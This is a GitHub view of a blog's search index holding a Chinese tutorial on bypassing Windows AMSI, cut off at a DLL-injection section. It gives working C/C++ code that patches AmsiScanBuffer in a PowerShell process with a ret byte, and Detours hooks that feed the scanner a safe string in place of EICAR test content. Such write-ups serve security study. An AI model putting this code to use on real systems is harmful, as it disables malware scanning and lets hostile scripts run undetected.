-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathsearch.xml
More file actions
384 lines (183 loc) · 194 KB
/
search.xml
File metadata and controls
384 lines (183 loc) · 194 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
<?xml version="1.0" encoding="utf-8"?>
<search>
<entry>
<title>Bypass AMSI</title>
<link href="2022/02/16/Bypass-AMSI/"/>
<url>2022/02/16/Bypass-AMSI/</url>
<content type="html"><,</p><p><img src="Bypass-AMSI.assets/image-20220216142259733.png" alt="image-20220216142259733"></p><p>由于是第六个参数是保存在堆栈的,同时传入的是一个指向AMSI_RESULT结构体(枚举类型)的指针,所以我们需要去查看一下指针指向的值。查看0000004DDD20E908 地址可以看到保存的数值是8000(HEX),表示字符串为非敏感字符。</p><p><img src="Bypass-AMSI.assets/image-20220216144053617.png" alt="image-20220216144053617"></p><p>将此处内存手动修改为1(HEX)后继续运行,可以看到已经绕过了AMSI。</p><p><img src="Bypass-AMSI.assets/image-20220216144332220.png" alt="image-20220216144332220"></p><p>接下来我们将介绍几种方法来绕过AMSI。</p><h3 id="基于内存补丁的方法绕过AMSI"><a href="#基于内存补丁的方法绕过AMSI" class="headerlink" title="基于内存补丁的方法绕过AMSI"></a>基于内存补丁的方法绕过AMSI</h3><p>通过对执行流程进行跟踪,发现字符串是否敏感是通过amsi.dll中的AmsiScanBuffer函数判断的。所以我们可以先考虑使用较为简单的内存补丁的方式对该函数进行修补使其失去作用。</p><p>代码和手工的操作流程基本相同:</p><ol><li>创建一个powershell进程</li><li>获取amsiscanbuffer函数地址</li><li>修改函数内存空间属性</li><li>修补函数执行体</li></ol><h4 id="手工流程"><a href="#手工流程" class="headerlink" title="手工流程"></a>手工流程</h4><p>创建一个powershell进程,然后使用调试器附加到powershell进程。</p><p><img src="Bypass-AMSI.assets/image-20220215172006235.png" alt="image-20220215172006235"></p><p>定位到AmsiScanBuffer函数的位置</p><p><img src="Bypass-AMSI.assets/image-20220215172211137.png" alt="image-20220215172211137"></p><p>将AmsiScanBuffer函数修改成直接返回(因为AmsiScanBuffer的返回值是通过第六个参数HRESULT*,并且这个指针指向的地址处默认为零,所以可以通过直接ret的方式返回)</p><p><img src="Bypass-AMSI.assets/image-20220215172314068.png" alt="image-20220215172314068"></p><p>成功绕过AMSI。</p><p><img src="Bypass-AMSI.assets/image-20220215172431459.png" alt="image-20220215172431459"></p><h4 id="代码实现"><a href="#代码实现" class="headerlink" title="代码实现"></a>代码实现</h4><p>代码实现比较简单,这里直接附上一个别人的代码。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><Windows.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdio.h></span></span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span> </span>{</span><br><span class="line">STARTUPINFOA si = {<span class="number">0</span>};</span><br><span class="line">PROCESS_INFORMATION pi = { <span class="number">0</span> };</span><br><span class="line">si.cb = <span class="keyword">sizeof</span>(si);</span><br><span class="line"></span><br><span class="line">CreateProcessA(<span class="literal">NULL</span>, (LPSTR)<span class="string">"powershell -NoExit dir"</span>, <span class="literal">NULL</span>, <span class="literal">NULL</span>, <span class="literal">NULL</span>, <span class="literal">NULL</span>, <span class="literal">NULL</span>, <span class="literal">NULL</span>, &si, &pi);</span><br><span class="line"></span><br><span class="line">HMODULE hAmsi = LoadLibraryA(<span class="string">"amsi.dll"</span>);</span><br><span class="line">LPVOID pAmsiScanBuffer = GetProcAddress(hAmsi, <span class="string">"AmsiScanBuffer"</span>);</span><br><span class="line"></span><br><span class="line">Sleep(<span class="number">500</span>);</span><br><span class="line"></span><br><span class="line">DWORD oldProtect;</span><br><span class="line"><span class="keyword">char</span> patch = <span class="number">0xc3</span>;</span><br><span class="line"></span><br><span class="line">VirtualProtectEx(pi.hProcess, (LPVOID)pAmsiScanBuffer, <span class="number">1</span>, PAGE_EXECUTE_READWRITE, &oldProtect);</span><br><span class="line">WriteProcessMemory(pi.hProcess, (LPVOID)pAmsiScanBuffer, &patch, <span class="keyword">sizeof</span>(<span class="keyword">char</span>),<span class="literal">NULL</span>);</span><br><span class="line">VirtualProtectEx(pi.hProcess, (LPVOID)pAmsiScanBuffer, <span class="number">1</span>, oldProtect, <span class="literal">NULL</span>);</span><br><span class="line">CloseHandle(pi.hProcess);</span><br><span class="line">CloseHandle(pi.hThread);</span><br><span class="line">FreeLibrary(hAmsi);</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h3 id="基于API-Hook和DLL注入的方式绕过AMSI"><a href="#基于API-Hook和DLL注入的方式绕过AMSI" class="headerlink" title="基于API Hook和DLL注入的方式绕过AMSI"></a>基于API Hook和DLL注入的方式绕过AMSI</h3><h4 id="函数hook"><a href="#函数hook" class="headerlink" title="函数hook"></a>函数hook</h4><p>函数hook是一种可以在函数调用前对其进行控制的方法。作为攻击者,我们可以利用这项技术做很多事情,比如:记录参数、控制函数的执行、覆盖传入函数的参数、修改函数的返回值。所以要想达到绕过AMSI的效果我们需要hook AmsiScanBuffer这个函数,好消息是Microsoft 提供了一个叫detours的开源库来帮我们完成这个工作,该库使用Trampoline(蹦床) hook的方法来进行函数hook。Trampoline hook的工作方式是:存储目标函数的副本,然后用jmp指令覆盖目标函数的开头,这个跳转将我们发送到我们作为攻击者控制的函数,因此称为Trampoline hook。</p><p>下面的代码片段展示了如何使用detours库来hook MessageBox函数并覆盖参数:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><iostream></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><Windows.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><detours.h></span></span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="title">int</span><span class="params">(WINAPI* OriginalMessageBox)</span><span class="params">(HWND hWnd, LPCWSTR lpText, LPCWSTR lpCaption, UINT uType)</span> </span>= MessageBox;</span><br><span class="line"></span><br><span class="line"><span class="keyword">int</span> WINAPI _MessageBox(HWND hWnd, LPCSTR lpText, LPCTSTR lpCaption, UINT uType) {</span><br><span class="line"> <span class="keyword">return</span> OriginalMessageBox(<span class="literal">NULL</span>, <span class="string">L"We've used detours to hook MessageBox"</span>, <span class="string">L"Hooked Window"</span>, <span class="number">0</span>);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="built_in">std</span>::<span class="built_in">cout</span> << <span class="string">"[+] Hooking MessageBox"</span> << <span class="built_in">std</span>::<span class="built_in">endl</span>;</span><br><span class="line"> </span><br><span class="line"> DetourRestoreAfterWith();</span><br><span class="line"> DetourTransactionBegin();</span><br><span class="line"> DetourUpdateThread(GetCurrentThread());</span><br><span class="line"> DetourAttach(&(PVOID&)OriginalMessageBox, _MessageBox);</span><br><span class="line"> DetourTransactionCommit();</span><br><span class="line"></span><br><span class="line"> <span class="built_in">std</span>::<span class="built_in">cout</span> << <span class="string">"[+] Message Box Hooked"</span> << <span class="built_in">std</span>::<span class="built_in">endl</span>;</span><br><span class="line"></span><br><span class="line"> MessageBox(<span class="literal">NULL</span>, <span class="string">L"My Message"</span>, <span class="string">L"My Caption"</span>, <span class="number">0</span>);</span><br><span class="line"></span><br><span class="line"> <span class="built_in">std</span>::<span class="built_in">cout</span> << <span class="string">"[+] Unhooking MessageBox"</span> << <span class="built_in">std</span>::<span class="built_in">endl</span>;</span><br><span class="line"></span><br><span class="line"> DetourUpdateThread(GetCurrentThread());</span><br><span class="line"> DetourDetach(&(PVOID&)OriginalMessageBox, _MessageBox);</span><br><span class="line"> DetourTransactionCommit();</span><br><span class="line"></span><br><span class="line"> <span class="built_in">std</span>::<span class="built_in">cout</span> << <span class="string">"[+] Message Box Unhooked"</span> << <span class="built_in">std</span>::<span class="built_in">endl</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>有了这些知识,我们就能够从本质上控制AmsiScanBuffer函数的所有方面。所以现在我们创建一个测试的项目,它接受一个字符串,然后使用AmsiScanBuffer来扫描字符串中的恶意内容。</p><p>代码如下:</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><iostream></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><Windows.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><amsi.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><system_error></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">pragma</span> comment(lib, <span class="meta-string">"amsi.lib"</span>)</span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> EICAR <span class="meta-string">"hello"</span></span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">const</span> <span class="keyword">char</span>* <span class="title">GetResultDescription</span><span class="params">(HRESULT hRes)</span> </span>{</span><br><span class="line"> <span class="keyword">const</span> <span class="keyword">char</span>* description;</span><br><span class="line"> <span class="built_in"><span class="keyword">switch</span></span> (hRes)</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">case</span> AMSI_RESULT_CLEAN:</span><br><span class="line"> description = <span class="string">"AMSI_RESULT_CLEAN"</span>;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> AMSI_RESULT_NOT_DETECTED:</span><br><span class="line"> description = <span class="string">"AMSI_RESULT_NOT_DETECTED"</span>;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> AMSI_RESULT_BLOCKED_BY_ADMIN_START:</span><br><span class="line"> description = <span class="string">"AMSI_RESULT_BLOCKED_BY_ADMIN_START"</span>;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> AMSI_RESULT_BLOCKED_BY_ADMIN_END:</span><br><span class="line"> description = <span class="string">"AMSI_RESULT_BLOCKED_BY_ADMIN_END"</span>;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> AMSI_RESULT_DETECTED:</span><br><span class="line"> description = <span class="string">"AMSI_RESULT_DETECTED"</span>;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">default</span>:</span><br><span class="line"> description = <span class="string">""</span>;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> description;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span> </span>{</span><br><span class="line"> HAMSICONTEXT amsiContext;</span><br><span class="line"> HRESULT hResult = S_OK;</span><br><span class="line"> AMSI_RESULT res = AMSI_RESULT_CLEAN;</span><br><span class="line"> HAMSISESSION hSession = <span class="literal">nullptr</span>;</span><br><span class="line"></span><br><span class="line"> LPCWSTR fname = <span class="string">L"EICAR"</span>;</span><br><span class="line"> BYTE* sample = (BYTE*)EICAR;</span><br><span class="line"> ULONG size = <span class="built_in">strlen</span>(EICAR);</span><br><span class="line"></span><br><span class="line"> <span class="built_in">ZeroMemory</span>(&amsiContext, <span class="built_in"><span class="keyword">sizeof</span></span>(amsiContext));</span><br><span class="line"></span><br><span class="line"> hResult = <span class="built_in">AmsiInitialize</span>(<span class="string">L"AmsiHook"</span>, &amsiContext);</span><br><span class="line"> <span class="keyword">if</span> (hResult != S_OK) {</span><br><span class="line"> std::cout << std::<span class="built_in">system_category</span>().<span class="built_in">message</span>(hResult) << std::endl;</span><br><span class="line"> std::cout << <span class="string">"[-] AmsiInitialize Failed"</span> << std::endl;</span><br><span class="line"> <span class="keyword">return</span> hResult;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> hResult = <span class="built_in">AmsiOpenSession</span>(amsiContext, &hSession);</span><br><span class="line"> <span class="keyword">if</span> (hResult != S_OK) {</span><br><span class="line"> std::cout << std::<span class="built_in">system_category</span>().<span class="built_in">message</span>(hResult) << std::endl;</span><br><span class="line"> std::cout << <span class="string">"[-] AmsiOpenSession Failed"</span> << std::endl;</span><br><span class="line"> <span class="keyword">return</span> hResult;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> hResult = <span class="built_in">AmsiScanBuffer</span>(amsiContext, sample, size, fname, hSession, &res);</span><br><span class="line"> <span class="keyword">if</span> (hResult != S_OK) {</span><br><span class="line"> std::cout << std::<span class="built_in">system_category</span>().<span class="built_in">message</span>(hResult) << std::endl;</span><br><span class="line"> std::cout << <span class="string">"[-] AmsiScanBuffer Failed "</span> << std::endl;</span><br><span class="line"> <span class="keyword">return</span> hResult;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Anything above 32767 is considered malicious</span></span><br><span class="line"> std::cout << <span class="built_in">GetResultDescription</span>(res) << std::endl;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>程序输出</p><p><img src="Bypass-AMSI.assets/image-20220216180026448.png" alt="image-20220216180026448"></p><p>现在,我们有了一个用于测试AmsiScanBuffer的项目。这意味着我们可以通过实现一些类似于我们在hook MessageBox时使用的东西来尝试本地hook AmsiScanBuffer函数。下面的代码用一个安全的字符串替换了一个危险的字符串(EICAR测试中的字符串),使得AmsiScanBuffer函数返回了一个安全的消息。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><iostream></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><Windows.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><amsi.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"detours.h"</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><system_error></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">pragma</span> comment(lib, <span class="meta-string">"amsi.lib"</span>)</span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> EICAR <span class="meta-string">"X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> SAFE <span class="meta-string">"SafeString"</span></span></span><br><span class="line"></span><br><span class="line"><span class="comment">//Converts number given out by AmsiScanBuffer into a readable string</span></span><br><span class="line"><span class="function"><span class="keyword">const</span> <span class="keyword">char</span>* <span class="title">GetResultDescription</span><span class="params">(HRESULT hRes)</span> </span>{</span><br><span class="line"> <span class="keyword">const</span> <span class="keyword">char</span>* description;</span><br><span class="line"> <span class="keyword">switch</span> (hRes)</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">case</span> AMSI_RESULT_CLEAN:</span><br><span class="line"> description = <span class="string">"AMSI_RESULT_CLEAN"</span>;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> AMSI_RESULT_NOT_DETECTED:</span><br><span class="line"> description = <span class="string">"AMSI_RESULT_NOT_DETECTED"</span>;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> AMSI_RESULT_BLOCKED_BY_ADMIN_START:</span><br><span class="line"> description = <span class="string">"AMSI_RESULT_BLOCKED_BY_ADMIN_START"</span>;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> AMSI_RESULT_BLOCKED_BY_ADMIN_END:</span><br><span class="line"> description = <span class="string">"AMSI_RESULT_BLOCKED_BY_ADMIN_END"</span>;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> AMSI_RESULT_DETECTED:</span><br><span class="line"> description = <span class="string">"AMSI_RESULT_DETECTED"</span>;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">default</span>:</span><br><span class="line"> description = <span class="string">""</span>;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> description;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">//Store orignal version of AmsiScanBuffer</span></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="title">HRESULT</span><span class="params">(WINAPI* OriginalAmsiScanBuffer)</span><span class="params">(HAMSICONTEXT amsiContext,</span></span></span><br><span class="line"><span class="function"><span class="params"> PVOID buffer, ULONG length,</span></span></span><br><span class="line"><span class="function"><span class="params"> LPCWSTR contentName,</span></span></span><br><span class="line"><span class="function"><span class="params"> HAMSISESSION amsiSession,</span></span></span><br><span class="line"><span class="function"><span class="params"> AMSI_RESULT* result)</span> </span>= AmsiScanBuffer;</span><br><span class="line"></span><br><span class="line"><span class="comment">//Our user controlled AmsiScanBuffer</span></span><br><span class="line">HRESULT _AmsiScanBuffer(HAMSICONTEXT amsiContext,</span><br><span class="line"> PVOID buffer, ULONG length,</span><br><span class="line"> LPCWSTR contentName,</span><br><span class="line"> HAMSISESSION amsiSession,</span><br><span class="line"> AMSI_RESULT* result) {</span><br><span class="line"> <span class="keyword">return</span> OriginalAmsiScanBuffer(amsiContext, (BYTE*)SAFE, length, contentName, amsiSession, result);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">//Sets up detours to hook our function</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">HookAmsi</span><span class="params">()</span> </span>{</span><br><span class="line"> DetourRestoreAfterWith();</span><br><span class="line"> DetourTransactionBegin();</span><br><span class="line"> DetourUpdateThread(GetCurrentThread());</span><br><span class="line"> DetourAttach(&(PVOID&)OriginalAmsiScanBuffer, _AmsiScanBuffer);</span><br><span class="line"> DetourTransactionCommit();</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">//Undoes the hooking we setup earlier</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">UnhookAmsi</span><span class="params">()</span> </span>{</span><br><span class="line"> DetourUpdateThread(GetCurrentThread());</span><br><span class="line"> DetourDetach(&(PVOID&)OriginalAmsiScanBuffer, _AmsiScanBuffer);</span><br><span class="line"> DetourTransactionCommit();</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="comment">//Declares variables required for AmsiInitialize, AmsiOpenSession, and AmsiScanBuffer</span></span><br><span class="line"> HAMSICONTEXT amsiContext;</span><br><span class="line"> HRESULT hResult = S_OK;</span><br><span class="line"> AMSI_RESULT res = AMSI_RESULT_CLEAN;</span><br><span class="line"> HAMSISESSION hSession = <span class="literal">nullptr</span>;</span><br><span class="line"></span><br><span class="line"> <span class="comment">//Declare test case to use</span></span><br><span class="line"> LPCWSTR fname = <span class="string">L"EICAR"</span>;</span><br><span class="line"> BYTE* sample = (BYTE*)EICAR;</span><br><span class="line"> ULONG size = <span class="built_in">strlen</span>(EICAR);</span><br><span class="line"></span><br><span class="line"> <span class="built_in">std</span>::<span class="built_in">cout</span> << <span class="string">"[+] Hooking AmsiScanBuffer"</span> << <span class="built_in">std</span>::<span class="built_in">endl</span>;</span><br><span class="line"> HookAmsi();</span><br><span class="line"> <span class="built_in">std</span>::<span class="built_in">cout</span> << <span class="string">"[+] AmsiScanBuffer Hooked"</span> << <span class="built_in">std</span>::<span class="built_in">endl</span>;</span><br><span class="line"></span><br><span class="line"> ZeroMemory(&amsiContext, <span class="keyword">sizeof</span>(amsiContext));</span><br><span class="line"></span><br><span class="line"> hResult = AmsiInitialize(<span class="string">L"AmsiHook"</span>, &amsiContext);</span><br><span class="line"> <span class="keyword">if</span> (hResult != S_OK) {</span><br><span class="line"> <span class="built_in">std</span>::<span class="built_in">cout</span> << <span class="built_in">std</span>::system_category().message(hResult) << <span class="built_in">std</span>::<span class="built_in">endl</span>;</span><br><span class="line"> <span class="built_in">std</span>::<span class="built_in">cout</span> << <span class="string">"[-] AmsiInitialize Failed"</span> << <span class="built_in">std</span>::<span class="built_in">endl</span>;</span><br><span class="line"> <span class="keyword">return</span> hResult;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> hResult = AmsiOpenSession(amsiContext, &hSession);</span><br><span class="line"> <span class="keyword">if</span> (hResult != S_OK) {</span><br><span class="line"> <span class="built_in">std</span>::<span class="built_in">cout</span> << <span class="built_in">std</span>::system_category().message(hResult) << <span class="built_in">std</span>::<span class="built_in">endl</span>;</span><br><span class="line"> <span class="built_in">std</span>::<span class="built_in">cout</span> << <span class="string">"[-] AmsiOpenSession Failed"</span> << <span class="built_in">std</span>::<span class="built_in">endl</span>;</span><br><span class="line"> <span class="keyword">return</span> hResult;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> hResult = AmsiScanBuffer(amsiContext, sample, size, fname, hSession, &res);</span><br><span class="line"> <span class="keyword">if</span> (hResult != S_OK) {</span><br><span class="line"> <span class="built_in">std</span>::<span class="built_in">cout</span> << <span class="built_in">std</span>::system_category().message(hResult) << <span class="built_in">std</span>::<span class="built_in">endl</span>;</span><br><span class="line"> <span class="built_in">std</span>::<span class="built_in">cout</span> << <span class="string">"[-] AmsiScanBuffer Failed "</span> << <span class="built_in">std</span>::<span class="built_in">endl</span>;</span><br><span class="line"> <span class="keyword">return</span> hResult;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="built_in">std</span>::<span class="built_in">cout</span> << GetResultDescription(res) << <span class="built_in">std</span>::<span class="built_in">endl</span>;</span><br><span class="line"></span><br><span class="line"> <span class="built_in">std</span>::<span class="built_in">cout</span> << <span class="string">"[+] Unhooking AmsiScanBuffer"</span> << <span class="built_in">std</span>::<span class="built_in">endl</span>;</span><br><span class="line"> UnhookAmsi();</span><br><span class="line"> <span class="built_in">std</span>::<span class="built_in">cout</span> << <span class="string">"[+] AmsiScanBuffer Unhooked"</span> << <span class="built_in">std</span>::<span class="built_in">endl</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>本地hook成功</p><p><img src="Bypass-AMSI.assets/image-20220216180456785.png" alt="image-20220216180456785"></p><p>现在我们已经可以做到hook AmsiScanBuffer使其返回一个安全的结果。那么现在我们如何阻止AMSI阻塞恶意的powershell呢?答案是代码注入,我们需要将代码注入到AMSI所在的进程中,然后hook函数并返回一个安全消息。</p><h4 id="DLL注入"><a href="#DLL注入" class="headerlink" 